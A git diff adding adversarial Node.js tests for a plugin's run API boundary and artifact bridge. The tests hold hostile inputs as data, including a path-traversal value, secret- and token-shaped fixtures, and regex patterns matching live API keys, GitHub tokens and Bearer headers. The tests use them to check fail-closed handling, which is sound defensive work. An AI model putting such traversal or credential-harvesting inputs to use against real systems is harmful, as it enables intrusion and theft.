[HOSTILE_URL, 'token=secret']); + assert.equal(denial.code, 'invalid_format'); +}); + +test('secret and path-shaped identity values fail closed without leaking content', () => { + const cases = [ + { run_id: HOSTILE_URL }, + { run_id: HOSTILE_PATH }, + { assignment_id: '../main' }, + { assignment_id: HOSTILE_SECRET }, + { base_sha: HOSTILE_TOKEN }, + { provider: HOSTILE_GIT }, + ]; + for (const override of cases) { + const extras = Object.values(override).filter((value) => typeof value === 'string' && value.length < 200); + const error = assertRejected( + () => projectRunApiBoundaryV1(validInput({ identity: override })), + extras, + ); + assert.ok(['invalid_format', 'identity_mismatch'].includes(error.code), error.code); + } +}); + +test('adapter source and dynamic projection never invoke I/O credential or lifecycle mechanisms', () => { + assert.equal(ADAPTER_SOURCE.includes('auditProtectedRefsV1'), false); + assert.equal(ADAPTER_SOURCE.includes('parseProtectedRefAuditRequestV1'), false); + assert.equal(ADAPTER_SOURCE.includes('orchestrateRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('cancelRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('completeRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('restartRunDispatchV1'), false); + assert.equal(ADAPTER_SOURCE.includes('denyRunRemoteMutationV1'), false); + assert.equal(ADAPTER_SOURCE.includes('validateRunPreflightV1'), false); + assert.equal(ADAPTER_SOURCE.includes('createCredentialHandoff'), false); + assert.equal(ADAPTER_SOURCE.includes('materializeProviderEnvironment'), false); + assert.equal(ADAPTER_SOURCE.includes('node:fs'), false); + assert.equal(ADAPTER_SOURCE.includes('node:child_process'), false); + assert.equal(ADAPTER_SOURCE.includes('node:net'), false); + assert.equal(ADAPTER_SOURCE.includes('node:http'), false); + assert.equal(ADAPTER_SOURCE.includes('node:https'), false); + assert.equal(ADAPTER_SOURCE.includes('process.env'), false); + assert.equal(ADAPTER_SOURCE.includes('process.argv'), false); + + let calls = 0; + const bump = (...args) => { calls += 1; return args; }; + const spawnOrig = childProcess.spawn; + const execOrig = childProcess.execFile; + const readOrig = fs.readFileSync; + const writeOrig = fs.writeFileSync; + const connectOrig = net.connect; + const requestOrig = http.request; + const envOrig = process.env; + childProcess.spawn = (...args) => { bump(); return spawnOrig(...args); }; + childProcess.execFile = (...args) => { bump(); return execOrig(...args); }; + fs.readFileSync = (...args) => { bump(); return readOrig(...args); }; + fs.writeFileSync = (...args) => { bump(); return writeOrig(...args); }; + net.connect = (...args) => { bump(); return connectOrig(...args); }; + http.request = (...args) => { bump(); return requestOrig(...args); }; + try { + const ready = projectRunApiBoundaryV1(validInput()); + const failed = projectRunApiBoundaryV1(validInput({ audit: failedAudit('moved_ref') })); + const denied = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_ram_capacity_exceeded'), + })); + assert.equal(ready.status, 'ready'); + assert.equal(failed.status, 'failed'); + assert.equal(denied.status, 'denied'); + assert.equal(calls, 0); + assert.equal(process.env, envOrig); + } finally { + childProcess.spawn = spawnOrig; + childProcess.execFile = execOrig; + fs.readFileSync = readOrig; + fs.writeFileSync = writeOrig; + net.connect = connectOrig; + http.request = requestOrig; + } +}); + +test('verified comparison drift cannot be upgraded to ready by a clean P31 receipt', () => { + for (const outcome of ['moved_ref', 'missing_ref', 'symbolic_ref', 'aliased_ref']) { + const result = projectRunApiBoundaryV1(validInput({ audit: verifiedDriftAudit(outcome) })); + assert.equal(result.status, 'failed', outcome); + assert.equal(result.audit.status, 'verified', outcome); + assert.equal(result.audit.comparisons[0].outcome, outcome, outcome); + assert.equal(result.orchestration.status, 'prepared', outcome); + assert.equal(result.orchestration.side_effects.task_dispatched, false, outcome); + assertContentFree(result); + } + + const mixed = projectRunApiBoundaryV1(validInput({ + audit: verifiedDriftAudit('moved_ref', { + comparisons: [validComparison(), validComparison({ outcome: 'moved_ref' })], + observation: { + command_count: 2, + compared_count: 2, + duration_ms: 1, + loose_count: 2, + missing_count: 0, + packed_count: 0, + symbolic_count: 0, + }, + }), + })); + assert.equal(mixed.status, 'failed'); + assert.equal(mixed.audit.status, 'verified'); + assert.equal(mixed.audit.comparisons[0].outcome, 'match'); + assert.equal(mixed.audit.comparisons[1].outcome, 'moved_ref'); +}); + +test('prepared receipts claiming dispatch side effects fail closed', () => { + for (const flag of ['task_dispatched', 'provider_process_started']) { + const error = assertRejected(() => projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ + side_effects: orchestrationSideEffects({ + credentials_projected: true, + [flag]: true, + }), + }), + }))); + assert.equal(error.code, 'invalid_format', flag); + } + + const both = assertRejected(() => projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ + side_effects: orchestrationSideEffects({ + credentials_projected: true, + task_dispatched: true, + provider_process_started: true, + }), + }), + }))); + assert.equal(both.code, 'invalid_format'); + + const lifecycle = assertRejected(() => projectRunApiBoundaryV1(validInput({ + lifecycle: validLifecycle({ + side_effects: orchestrationSideEffects({ task_dispatched: true }), + }), + }))); + assert.equal(lifecycle.code, 'invalid_format'); + + const processLifecycle = assertRejected(() => projectRunApiBoundaryV1(validInput({ + lifecycle: validLifecycle({ + side_effects: orchestrationSideEffects({ provider_process_started: true }), + }), + }))); + assert.equal(processLifecycle.code, 'invalid_format'); +}); + +test('nested hostile credential env argv and handoff-shaped fields are not projected', () => { + const input = validInput(); + input.orchestration.preflight.repository.path = HOSTILE_PATH; + input.orchestration.preflight.repository.git_dir = `${HOSTILE_PATH}/.git`; + input.orchestration.preflight.git_identity.repository_path = HOSTILE_PATH; + input.orchestration.lanes[0].projected_keys = ['XAI_API_KEY', 'GIT_SSH_COMMAND']; + input.orchestration.lanes[0].identity = 'ab'.repeat(16); + const result = projectRunApiBoundaryV1(input); + assert.equal(result.status, 'ready'); + const serialized = JSON.stringify(result); + assert.equal(serialized.includes(HOSTILE_PATH), false); + assert.equal(serialized.includes('XAI_API_KEY'), false); + assert.equal(serialized.includes('GIT_SSH_COMMAND'), false); + assert.equal(serialized.includes(input.orchestration.lanes[0].identity), false); + assert.equal(Object.hasOwn(result.orchestration, 'preflight'), false); + assertContentFree(result); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs b/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs new file mode 100644 index 0000000..61e5087 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs @@ -0,0 +1,329 @@ +// P32 run API boundary — focused coverage: paired P30/P31 success projection, +// deterministic frozen JSON, negative evidence preservation, identity binding, +// detachment, and concurrent pure projection. This suite never executes P30 +// audit or P31 orchestration lifecycles. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { PROTECTED_REF_AUDIT_SCHEMA_ID } from '../mcp/v3/protected-ref-audit.mjs'; +import { + RUN_API_BOUNDARY_CHECKS, + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS, + RUN_API_BOUNDARY_VERSION, + describeRunApiBoundaryV1, + projectRunApiBoundaryV1, +} from '../mcp/v3/run-api-boundary.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { RUN_ORCHESTRATION_SCHEMA_ID } from '../mcp/v3/run-orchestration.mjs'; +import { RUN_PREFLIGHT_SCHEMA_ID } from '../mcp/v3/run-preflight.mjs'; +import { + ASSIGNMENT_ID, + ASSIGNMENT_ID_B, + BASE_SHA, + CONTENT_FREE, + HOSTILE_GIT, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + HOSTILE_URL, + LANE_IDENTITY_B, + MODEL, + PROVIDER, + RUN_ID, + dispatchedOrchestration, + failedAudit, + orchestrationDenial, + unresolvedLifecycle, + validAudit, + validInput, + validLane, + validLifecycle, + validOrchestration, + verifiedDriftAudit, +} from './fixtures/r1-run-api-boundary-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + assert.equal(text.includes(HOSTILE_PATH), false); + assert.equal(text.includes(HOSTILE_URL), false); + assert.equal(text.includes(HOSTILE_GIT), false); + assert.equal(text.includes(HOSTILE_SECRET), false); + assert.equal(text.includes(HOSTILE_TOKEN), false); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +function assertAdapterNonclaims(result) { + for (const key of RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS) { + assert.equal(result.side_effects[key], false, key); + } + assert.equal(result.invariants.read_only_audit, true); + assert.equal(result.invariants.credentials_not_projected, true); + assert.equal(result.invariants.refs_not_mutated, true); + assert.equal(result.invariants.workspace_not_created, true); + assert.equal(result.invariants.reservation_not_held, true); + assert.equal(result.invariants.remote_mutated, false); + assert.equal(result.invariants.public_api_exposed, false); + assert.equal(result.invariants.gate_a_claimed, false); + assert.equal(result.invariants.release_decided, false); + assert.equal(result.invariants.supervisor_cutover, false); + assert.equal(result.invariants.cleanup_truthful, true); +} + +test('RunApiBoundaryV1 is a closed frozen v1 adapter and not a 4.0.0 major', () => { + assert.equal(RUN_API_BOUNDARY_SCHEMA_ID, 'codex-co-engineer.run-api-boundary.v1'); + assert.equal(RUN_API_BOUNDARY_VERSION, 1); + assert.equal(RUN_API_BOUNDARY_SCHEMA_ID.includes('4.0.0'), false); + const inventory = describeRunApiBoundaryV1(); + const again = describeRunApiBoundaryV1(); + assert.ok(Object.isFrozen(inventory)); + assert.ok(Object.isFrozen(inventory.composed_surfaces)); + assert.equal(inventory.rule, 'pure_projection_of_accepted_p30_p31_receipts'); + assert.equal(inventory.composed_surfaces.protected_ref_audit, PROTECTED_REF_AUDIT_SCHEMA_ID); + assert.equal(inventory.composed_surfaces.run_orchestration, RUN_ORCHESTRATION_SCHEMA_ID); + assert.equal(inventory.composed_surfaces.run_preflight, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(inventory.composed_surfaces.remote_mutation, 'denied'); + assert.equal(inventory.composed_surfaces.gate_a, 'not claimed'); + assert.equal(inventory.composed_surfaces.audit_lifecycle, 'not invoked; receipts are consumed as values'); + assert.deepStrictEqual( + JSON.parse(JSON.stringify(inventory)), + JSON.parse(JSON.stringify(again)), + ); + assert.deepEqual([...inventory.checks], [...RUN_API_BOUNDARY_CHECKS]); +}); + +test('paired P30/P31 success projects a detached ready result with stable JSON', () => { + const input = validInput(); + const first = projectRunApiBoundaryV1(input); + const second = projectRunApiBoundaryV1(validInput()); + assert.equal(first.status, 'ready'); + assert.equal(first.schema, RUN_API_BOUNDARY_SCHEMA_ID); + assert.equal(first.run_id, RUN_ID); + assert.equal(first.base_sha, BASE_SHA); + assert.equal(first.assignment_id, ASSIGNMENT_ID); + assert.equal(first.provider, PROVIDER); + assert.equal(first.audit.status, 'verified'); + assert.equal(first.audit.schema, PROTECTED_REF_AUDIT_SCHEMA_ID); + assert.equal(first.audit.comparisons[0].outcome, 'match'); + assert.equal(first.audit.facts[0].method, 'protected_ref_snapshot_compare'); + assert.equal(first.audit.facts[0].authority, 'platform_git'); + assert.equal(first.audit.discrepancies.length, 0); + assert.equal(first.orchestration.kind, 'receipt'); + assert.equal(first.orchestration.status, 'prepared'); + assert.equal(first.orchestration.preflight_status, 'ready'); + assert.equal(first.orchestration.lanes[0].provider, PROVIDER); + assert.equal(first.orchestration.lanes[0].model, MODEL); + assert.equal(first.orchestration.lanes[0].credential_present, true); + assert.equal(Object.hasOwn(first.orchestration.lanes[0], 'identity'), false); + assert.equal(Object.hasOwn(first.orchestration.lanes[0], 'projected_keys'), false); + assert.equal(first.lifecycle, null); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.audit)); + assert.ok(Object.isFrozen(first.orchestration.lanes[0])); + assertAdapterNonclaims(first); + assertContentFree(first); + assert.equal(JSON.stringify(first), JSON.stringify(second)); + assert.equal(canonicalJsonStringify(first), canonicalJsonStringify(second)); +}); + +test('dispatched orchestration with a clean lifecycle remains ready', () => { + const result = projectRunApiBoundaryV1(validInput({ + orchestration: dispatchedOrchestration(), + lifecycle: validLifecycle(), + })); + assert.equal(result.status, 'ready'); + assert.equal(result.orchestration.status, 'dispatched'); + assert.equal(result.orchestration.side_effects.task_dispatched, true); + assert.equal(result.orchestration.side_effects.workspace_created, false); + assert.equal(result.lifecycle.cleaned, true); + assert.equal(result.lifecycle.unresolved.length, 0); + assertContentFree(result, [HOSTILE_PATH]); +}); + +test('P30 moved missing and hostile-ref receipts remain failed without side effects', () => { + for (const code of ['moved_ref', 'missing_ref', 'hostile_ref']) { + const result = projectRunApiBoundaryV1(validInput({ audit: failedAudit(code) })); + assert.equal(result.status, 'failed', code); + assert.equal(result.audit.status, 'failed', code); + assert.equal(result.audit.findings[0].code, code, code); + assert.equal(result.audit.facts[0].status, 'failed', code); + assert.equal(result.audit.discrepancies[0].code, 'security_boundary', code); + assert.equal(result.orchestration.status, 'prepared', code); + assertAdapterNonclaims(result); + assertContentFree(result); + } +}); + +test('verified P30 comparison drift remains failed and is not upgraded to ready', () => { + for (const outcome of ['moved_ref', 'missing_ref', 'symbolic_ref', 'aliased_ref']) { + const result = projectRunApiBoundaryV1(validInput({ + audit: verifiedDriftAudit(outcome), + orchestration: dispatchedOrchestration(), + lifecycle: validLifecycle(), + })); + assert.equal(result.status, 'failed', outcome); + assert.equal(result.audit.status, 'verified', outcome); + assert.equal(result.audit.comparisons[0].outcome, outcome, outcome); + assert.equal(result.audit.findings.length, 0, outcome); + assert.equal(result.audit.observed_classes.length, 0, outcome); + assert.equal(result.audit.facts[0].status, 'verified', outcome); + assert.equal(result.audit.discrepancies.length, 0, outcome); + assert.equal(result.orchestration.status, 'dispatched', outcome); + assert.equal(result.lifecycle.cleaned, true, outcome); + assertAdapterNonclaims(result); + assertContentFree(result); + } +}); + +test('P31 failed-preflight and capacity-denied inputs remain denied', () => { + const preflight = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('repository_not_canonical'), + })); + assert.equal(preflight.status, 'denied'); + assert.equal(preflight.orchestration.kind, 'denial'); + assert.equal(preflight.orchestration.code, 'repository_not_canonical'); + assert.equal(preflight.audit.status, 'verified'); + assertAdapterNonclaims(preflight); + assertContentFree(preflight); + + const cpu = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_cpu_capacity_exceeded'), + })); + assert.equal(cpu.status, 'denied'); + assert.equal(cpu.orchestration.code, 'host_cpu_capacity_exceeded'); + + const ram = projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_ram_capacity_exceeded', { + schema: RUN_ORCHESTRATION_SCHEMA_ID, + version: 1, + }), + })); + assert.equal(ram.status, 'denied'); + assert.equal(ram.orchestration.code, 'host_ram_capacity_exceeded'); +}); + +test('P31 cleanup-unresolved lifecycle remains unresolved and is not normalized away', () => { + const result = projectRunApiBoundaryV1(validInput({ + orchestration: dispatchedOrchestration(), + lifecycle: unresolvedLifecycle(), + })); + assert.equal(result.status, 'unresolved'); + assert.equal(result.lifecycle.cleaned, false); + assert.equal(result.lifecycle.unresolved[0].code, 'handoff_cleanup_failed'); + assert.equal(result.audit.status, 'verified'); + assert.equal(result.orchestration.status, 'dispatched'); + assertAdapterNonclaims(result); + assertContentFree(result); +}); + +test('failed audit is not upgraded by a successful orchestration or clean lifecycle', () => { + const result = projectRunApiBoundaryV1(validInput({ + audit: failedAudit('moved_ref'), + orchestration: dispatchedOrchestration(), + lifecycle: validLifecycle(), + })); + assert.equal(result.status, 'failed'); + assert.equal(result.audit.status, 'failed'); + assert.equal(result.lifecycle.cleaned, true); +}); + +test('identity base provider and lane mismatches fail closed', () => { + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { run_id: 'run-other-identity' }, + }))).code, 'identity_mismatch'); + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { base_sha: 'aaaabbbbccccddddeeeeffff0000111122223333' }, + }))).code, 'identity_mismatch'); + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { assignment_id: ASSIGNMENT_ID_B }, + }))).code, 'identity_mismatch'); + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { provider: 'cursor-local' }, + }))).code, 'identity_mismatch'); +}); + +test('two-lane receipts bind the declared lane and drop nested path-shaped preflight fields', () => { + const result = projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ + lanes: [ + validLane(), + validLane({ + assignment_id: ASSIGNMENT_ID_B, + provider: 'cursor-local', + model: 'composer-1', + identity: LANE_IDENTITY_B, + projected_keys: ['GIT_TERMINAL_PROMPT'], + credential_present: false, + }), + ], + }), + })); + assert.equal(result.status, 'ready'); + assert.equal(result.orchestration.lanes.length, 2); + assert.equal(result.orchestration.lanes[1].assignment_id, ASSIGNMENT_ID_B); + assert.equal(result.orchestration.lanes[1].provider, 'cursor-local'); + const serialized = JSON.stringify(result); + assert.equal(serialized.includes(HOSTILE_PATH), false); + assert.equal(serialized.includes('.git'), false); + assert.equal(serialized.includes('XAI_API_KEY'), false); +}); + +test('deep freeze detaches from later input mutation and repeated calls do not cross-contaminate', () => { + const input = validInput(); + const ready = projectRunApiBoundaryV1(input); + input.audit.status = 'failed'; + input.identity.run_id = 'run-mutated-after'; + input.orchestration.status = 'dispatched'; + assert.equal(ready.status, 'ready'); + assert.equal(ready.audit.status, 'verified'); + assert.equal(ready.run_id, RUN_ID); + assert.throws(() => { + ready.status = 'failed'; + }); + assert.throws(() => { + ready.audit.findings.push({ code: 'moved_ref' }); + }); + const failed = projectRunApiBoundaryV1(validInput({ audit: failedAudit('missing_ref') })); + assert.equal(ready.status, 'ready'); + assert.equal(failed.status, 'failed'); + assert.equal(failed.audit.findings[0].code, 'missing_ref'); + assert.notEqual(JSON.stringify(ready), JSON.stringify(failed)); +}); + +test('concurrent pure projections keep distinct ready and failed results', async () => { + const [ready, failed, denied, unresolved] = await Promise.all([ + Promise.resolve(projectRunApiBoundaryV1(validInput())), + Promise.resolve(projectRunApiBoundaryV1(validInput({ audit: failedAudit('moved_ref') }))), + Promise.resolve(projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_cpu_capacity_exceeded'), + }))), + Promise.resolve(projectRunApiBoundaryV1(validInput({ + lifecycle: unresolvedLifecycle(), + }))), + ]); + assert.equal(ready.status, 'ready'); + assert.equal(failed.status, 'failed'); + assert.equal(denied.status, 'denied'); + assert.equal(unresolved.status, 'unresolved'); + assert.equal(ready.audit.status, 'verified'); + assert.equal(failed.audit.status, 'failed'); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs new file mode 100644 index 0000000..62796d4 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs @@ -0,0 +1,438 @@ +// P33 run artifact bridge adversarial coverage: hostile containers, identity +// drift, path-authority broadening, credential leaks, lying stores, and +// content-free failures. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; +import { createRunArtifactBridge } from '../mcp/v3/run-artifact-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + ASSIGNMENT_A, + FOREIGN_RELATIVE, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + OTHER_RUN_ID, + RELATIVE_A, + RUN_ID, + captureInput, + cleanupInput, + digestOf, + makeBridge, + makeClock, + makeEvidenceBundle, + makeRawStore, + makeSanitizer, + projectInput, +} from './fixtures/r1-run-artifact-bridge-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\//u); + assert.doesNotMatch(error.message, /Bearer /u); +} + +test('proxy factory options and capture inputs fail closed without traps', async () => { + const proxiedOptions = countingProxy({ + rawStore: makeRawStore(), + sanitizer: makeSanitizer(), + evidenceBundle: makeEvidenceBundle(), + clock: makeClock(), + }); + assert.throws(() => createRunArtifactBridge(proxiedOptions.proxy), (error) => { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'proxy_denied'); + return true; + }); + assert.equal(trapTotal(proxiedOptions.counts), 0); + + const { bridge } = makeBridge(); + const proxiedInput = countingProxy(captureInput()); + const error = await errorOf(() => bridge.captureAssignmentArtifacts(proxiedInput.proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxiedInput.counts), 0); + assertContentFree(error); +}); + +test('unknown factory keys and missing store methods fail closed', () => { + const base = { + rawStore: makeRawStore(), + sanitizer: makeSanitizer(), + evidenceBundle: makeEvidenceBundle(), + clock: makeClock(), + }; + assert.throws(() => createRunArtifactBridge({ ...base, scheduler: {} }), (error) => { + assert.equal(error.code, 'unknown_key'); + return true; + }); + const rawStore = makeRawStore(); + delete rawStore.remove; + assert.throws(() => createRunArtifactBridge({ ...base, rawStore }), (error) => { + assert.equal(error.code, 'missing_key'); + return true; + }); +}); + +test('accessor and symbol keys never run getters or leak secrets', async () => { + const { bridge } = makeBridge(); + const hostile = { + ...captureInput(), + get source() { + throw new Error(`trap ${HOSTILE_SECRET}`); + }, + }; + delete hostile.source; + Object.defineProperty(hostile, 'source', { + enumerable: true, + get() { + throw new Error(`trap ${HOSTILE_SECRET}`); + }, + }); + const accessorError = await errorOf(() => bridge.captureAssignmentArtifacts(hostile)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertContentFree(accessorError); + + const withSymbol = captureInput(); + withSymbol[Symbol('secret')] = HOSTILE_TOKEN; + const symbolError = await errorOf(() => bridge.captureAssignmentArtifacts(withSymbol)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); +}); + +test('path authority cannot broaden to another run or parent segments', async () => { + const { bridge, rawStore } = makeBridge(); + const foreign = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + relative_path: FOREIGN_RELATIVE, + }))); + assert.equal(foreign.code, 'artifact_bridge_path_authority_denied'); + assertContentFree(foreign); + assert.equal(rawStore.size(), 0); + + const escaped = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + relative_path: 'runs/run-artifact-main/assign-a/../../secret.txt', + }))); + assert.ok([ + 'artifact_bridge_path_authority_denied', + 'alias_segment_denied', + ].includes(escaped.code)); + assertContentFree(escaped); +}); + +test('cleanup without exact run proof is denied and leaves artifacts in place', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + const missing = await errorOf(() => bridge.cleanupRunArtifacts({ run_id: RUN_ID })); + assert.equal(missing.code, 'missing_key'); + const mismatched = await errorOf(() => bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: OTHER_RUN_ID }, + }))); + assert.equal(mismatched.code, 'artifact_bridge_cleanup_unproven'); + assertContentFree(mismatched); + const worktree = await errorOf(() => bridge.cleanupRunArtifacts({ + run_id: RUN_ID, + proof: { run_id: RUN_ID, worktree: HOSTILE_PATH }, + })); + assert.equal(worktree.code, 'unknown_key'); + assertContentFree(worktree); + assert.equal(rawStore.size(), 1); +}); + +test('a lying store that lists another run cannot cause escaped cleanup', async () => { + const inner = makeRawStore(); + const honest = makeBridge({ rawStore: inner }); + await honest.bridge.captureAssignmentArtifacts(captureInput()); + const lying = { + publish: inner.publish.bind(inner), + get: inner.get.bind(inner), + remove: inner.remove.bind(inner), + async list({ run_id }) { + const own = await inner.list({ run_id }); + own.push({ + artifact_ref: { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: OTHER_RUN_ID, + assignment_id: ASSIGNMENT_A, + artifact_kind: 'provider_report', + artifact_class: 'raw', + relative_path: FOREIGN_RELATIVE, + byte_length: 4, + sha256: digestOf(Buffer.from('nope')), + media_type: 'text/plain', + content_encoding: 'identity', + }, + bytes: Buffer.from('nope'), + }); + return own; + }, + }; + const { bridge } = makeBridge({ rawStore: lying }); + const error = await errorOf(() => bridge.cleanupRunArtifacts(cleanupInput())); + assert.equal(error.code, 'artifact_bridge_run_escape_denied'); + assertContentFree(error); + const stored = await inner.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(stored !== null, true); + assert.equal(inner.size(), 1); +}); + +test('sanitizer returning raw class or credential text fails closed', async () => { + const rawClassSanitizer = { + async sanitize({ artifact_ref, source }) { + const bytes = Buffer.from(source); + return { + sanitized_ref: { + ...artifact_ref, + artifact_class: 'raw', + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + }, + bytes, + redaction_count: 0, + sanitizer_version: 1, + source_truncated: false, + complete: true, + }; + }, + }; + const rawClassBridge = makeBridge({ sanitizer: rawClassSanitizer }).bridge; + const rawError = await errorOf(() => rawClassBridge.captureAssignmentArtifacts(captureInput({ + source: HOSTILE_SECRET, + }))); + assert.equal(rawError.code, 'artifact_bridge_projection_denied'); + assertContentFree(rawError); + + const leakSanitizer = { + async sanitize({ artifact_ref, source }) { + const bytes = Buffer.from(source); + return { + sanitized_ref: { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: artifact_ref.run_id, + assignment_id: artifact_ref.assignment_id, + artifact_kind: artifact_ref.artifact_kind, + artifact_class: 'sanitized', + relative_path: artifact_ref.relative_path, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: artifact_ref.media_type, + content_encoding: 'identity', + }, + bytes, + redaction_count: 0, + sanitizer_version: 1, + source_truncated: false, + complete: true, + }; + }, + }; + const leakBridge = makeBridge({ sanitizer: leakSanitizer }).bridge; + const leakError = await errorOf(() => leakBridge.captureAssignmentArtifacts(captureInput({ + source: `keep ${HOSTILE_SECRET}`, + }))); + assert.equal(leakError.code, 'credential_leak_denied'); + assertContentFree(leakError); +}); + +test('project never accepts raw audience keys or oversized windows', async () => { + const { bridge } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + const audience = await errorOf(() => bridge.projectAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + audience: 'owner', + })); + assert.equal(audience.code, 'unknown_key'); + const oversized = await errorOf(() => bridge.projectAssignmentArtifacts(projectInput({ + max_bytes: 8193, + }))); + assert.equal(oversized.code, 'out_of_range'); +}); + +test('unknown artifact kind, empty source, and extra capture keys fail closed', async () => { + const { bridge, rawStore } = makeBridge(); + const kind = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + artifact_kind: 'transcript', + }))); + assert.equal(kind.code, 'unknown_artifact_kind'); + const empty = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + source: '', + }))); + assert.equal(empty.code, 'out_of_range'); + const extra = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + candidate: 'refs/codex-co-engineer/runs/run-artifact-main/candidate', + }))); + assert.equal(extra.code, 'unknown_key'); + assert.equal(rawStore.size(), 0); + assertContentFree(kind); + assertContentFree(empty); + assertContentFree(extra); +}); + +test('store exceptions become content-free store failures', async () => { + const inner = makeRawStore(); + const exploding = { + ...inner, + async publish() { + throw new Error(`ENOENT ${HOSTILE_PATH} ${HOSTILE_SECRET}`); + }, + }; + const { bridge } = makeBridge({ rawStore: exploding }); + const error = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput())); + assert.equal(error.code, 'artifact_bridge_store_failed'); + assertContentFree(error); +}); + +function wrapGet(inner, mutate) { + return { + publish: inner.publish.bind(inner), + list: inner.list.bind(inner), + remove: inner.remove.bind(inner), + async get(query) { + const record = await inner.get(query); + return mutate(record); + }, + }; +} + +test('projection never upgrades truncation or completeness from a lying sanitizer', async () => { + const upgrading = { + async sanitize({ artifact_ref, source }) { + const honest = await makeSanitizer().sanitize({ + artifact_ref, + source, + source_truncated: false, + }); + return { + ...honest, + source_truncated: false, + complete: true, + }; + }, + }; + const rawStore = makeRawStore(); + const { bridge } = makeBridge({ rawStore, sanitizer: upgrading }); + const captured = await bridge.captureAssignmentArtifacts(captureInput({ + source_truncated: true, + })); + assert.equal(captured.source_truncated, true); + assert.equal(captured.complete, false); + const projection = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projection.artifacts[0].source_truncated, true); + assert.equal(projection.artifacts[0].complete, false); + + const restarted = makeBridge({ rawStore, sanitizer: upgrading }); + const again = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(again.artifacts[0].source_truncated, true); + assert.equal(again.artifacts[0].complete, false); +}); + +test('projection represents missing redaction, version, and completeness as unknown', async () => { + const mute = { + async sanitize({ artifact_ref, source }) { + const honest = await makeSanitizer().sanitize({ artifact_ref, source }); + return { + sanitized_ref: honest.sanitized_ref, + bytes: honest.bytes, + }; + }, + }; + const { bridge } = makeBridge({ sanitizer: mute }); + const captured = await bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(captured.redaction_count, null); + 